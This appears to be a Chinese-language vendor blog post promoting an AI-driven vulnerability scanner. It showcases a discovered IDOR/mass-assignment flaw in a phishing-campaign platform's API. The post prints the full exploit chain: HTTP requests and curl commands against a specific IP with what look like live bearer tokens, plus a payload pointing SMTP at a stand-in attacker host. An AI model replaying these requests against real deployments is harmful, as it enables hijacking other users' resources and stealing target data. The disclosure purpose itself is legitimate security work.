Ostorlab 推出 Agentic Deep Scan:新一代漏洞扫描器
Ostorlab 推出了 Agentic Deep Scan,这是一款新一代漏洞扫描器,可验证 iOS、Android(即将支持 harmonyOS)和 Web 应用中的真实风险。借助自带密钥(BYOK)支持,团队可以在完全掌控自身数据和成本的同时,安全地体验其强大的扫描能力。
我们非常高兴地宣布推出 Agentic Deep Scan——Ostorlab 的新一代漏洞扫描器。它不只是又一款扫描器,而是一种截然不同的方法:它在 iOS、Android(即将支持 harmonyOS)和 Web 应用上模拟真实世界的攻击,并在贴近真实的条件下验证每一项发现。
借助自带密钥(Bring Your Own Key,BYOK)支持,您在体验这种新一代扫描方法的同时,可以完全掌控自己的数据和 AI 使用情况。
我们是唯一一个专门针对移动应用深入开展这项工作的平台,它将贴近真实的漏洞利用验证、跨组件分析和证据级的举证结合在一起,这是目前其他任何工具都无法提供的。

Agentic Deep Scan 如何提供有实证支撑、可直接处理的发现
标准扫描器基于模式或特征码识别潜在问题。Agentic Deep Scan 则更进一步,每一项发现都在真实条件下经过验证,并附带证据级的举证:截图、请求/响应日志、设备日志以及分步复现过程,让团队能够专注于攻击者真正可以利用的风险。
示例扫描中经过验证的发现
Agentic Deep Scan 能够在线上应用中发现真实、可处理的风险。例如,我们的示例报告列出了 12 项严重级别的发现,其中包括 VulnBank.org 中的一个 JWT 身份验证绕过漏洞
VulnBank.org 中的 JWT 身份验证绕过漏洞使攻击者能够伪造具有更高权限(is_admin: true)的令牌,从而访问 /admin/create_admin 和 /admin/approve_loan/{loan_id} 等仅限管理员访问的端点。
这说明了身份验证和授权方面的弱点在真实条件下如何被利用,也说明了 Agentic Deep Scan 如何提供证据级的举证,让团队能够有把握地复现并修复问题。
Agentic Deep Scan 发现的真实漏洞
Agentic Deep Scan 在真实应用上运行,发现了多个此前未知的漏洞。其中一些发现在热门开源项目中仍在等待修复,这证明了该扫描器的有效性和实际影响。
在这些发现中,有一项因其严重程度而尤为突出:一个简单的 API 逻辑缺陷,可导致资源被完全接管。下面介绍 Agentic Deep Scan 如何发现、利用这一漏洞,并以具体证据证明其影响。
描述
用于创建资源的 API 端点未验证 POST 请求中的 'id' 参数是否已关联到某个现有资源。当攻击者在 POST 请求中包含一个现有资源的 ID 时,应用不会创建新资源,而是将该资源的所有权转移给攻击者。这使得攻击者可以完全窃取机密的钓鱼材料、目标邮箱列表(违反 GDPR)、凭据收集页面以及邮件发送基础设施。
根本原因
用于创建资源的 API 端点(POST /api/groups/、POST /api/templates/、POST /api/pages/、POST /api/smtp/)接受请求体中的 id 参数,却不验证该 ID 是否已属于其他用户的资源。当提供一个现有 ID 时,应用会更新(劫持)该资源而不是创建新资源,从而将所有权转移给已通过身份验证的攻击者。
存在漏洞的代码模式
API 处理程序接受包含 id 字段在内的完整 JSON 请求体:
// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
处理程序直接处理传入的 JSON,既不剔除也不验证 id 字段,导致可以批量赋值现有资源的 ID。
漏洞利用证据
第 1 步 - 管理员创建一个机密目标组:
POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json
{
"name": "CONFIDENTIAL_TARGETS",
"targets": [
{"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
{"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
{"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
]
}
Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}
第 2 步 - 攻击者(user_b)通过指定 ID 106 劫持该组:
POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json
{
"id": 106,
"name": "STOLEN_GROUP",
"targets": []
}
Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}
第 3 步 - 验证所有权已转移:
# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
-H 'Authorization: Bearer <admin_api_key>'
Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}
# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
-H 'Authorization: Bearer <attacker_api_key>'
Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}
已确认存在漏洞的其他端点:
POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created
POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created
POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created
被窃取的数据:
- 目标邮箱地址:john.victim@testcorp.com、jane.target@testcorp.com、bob.doe@financial.com
- ID 为 113 的钓鱼模板,主题为 "Urgent: Your Account Security"
- ID 为 60 的落地页,配置了凭据收集功能
- ID 为 81 的 SMTP 发送配置
验证证据
验证尝试 1
带有 id=106 的 POST /api/groups/ 返回 HTTP 201 Created,所有权被转移给攻击者**
验证尝试 2
带有 id=113 的 POST /api/templates/ 返回 HTTP 201 Created
验证尝试 3
带有 id=60 的 POST /api/pages/ 返回 HTTP 201 Created
验证尝试 4
带有 id=81 的 POST /api/smtp/ 返回 HTTP 201 Created
验证尝试 5
原所有者访问被劫持的资源时收到 HTTP 404
验证尝试 6
攻击者访问被窃取的资源时收到 HTTP 200
验证尝试 7
根本原因
POST /api/groups/ 端点接受并处理 JSON 请求体中的 id 字段,却不验证该 ID 是否属于其他用户拥有的现有资源。后端直接使用客户端提供的 ID,当该 ID 指向其他用户的资源时,就会导致所有权转移。
存在漏洞的代码模式
// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'
漏洞利用证据
第 1 步 - 确认基线:管理员拥有 Group 110,攻击者无法访问:
# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'
响应: HTTP 200 - 该组包含 4 个机密目标邮箱
# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'
响应: HTTP 404 - {"message":"Group not found","success":false,"data":null}
第 2 步 - 攻击者通过指定现有 ID 劫持该组:
curl -k -i 'https://34.55.131.240:3333/api/groups/' \
-H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
-H 'Content-Type: application/json' \
-X POST \
--data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'
响应: HTTP 201 Created
{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}
第 3 步 - 已验证所有权转移:
# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'
响应: HTTP 404 - {"message":"Group not found","success":false,"data":null}
# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
-H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'
响应: HTTP 200 - 完整的组数据,包括原有目标:
executive@testcompany.com
hr@testcompany.com
itadmin@testcompany.com
finance@testcompany.com
通过 BYOK(自带密钥)试用 Agentic Deep Scan

借助 BYOK(自带密钥),您可以使用自己的凭据安全地试用 Agentic Deep Scan,完全掌控您的数据和成本,轻松在您的应用上体验这种新一代扫描方法。
进一步了解 Agentic Deep Scan:
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan
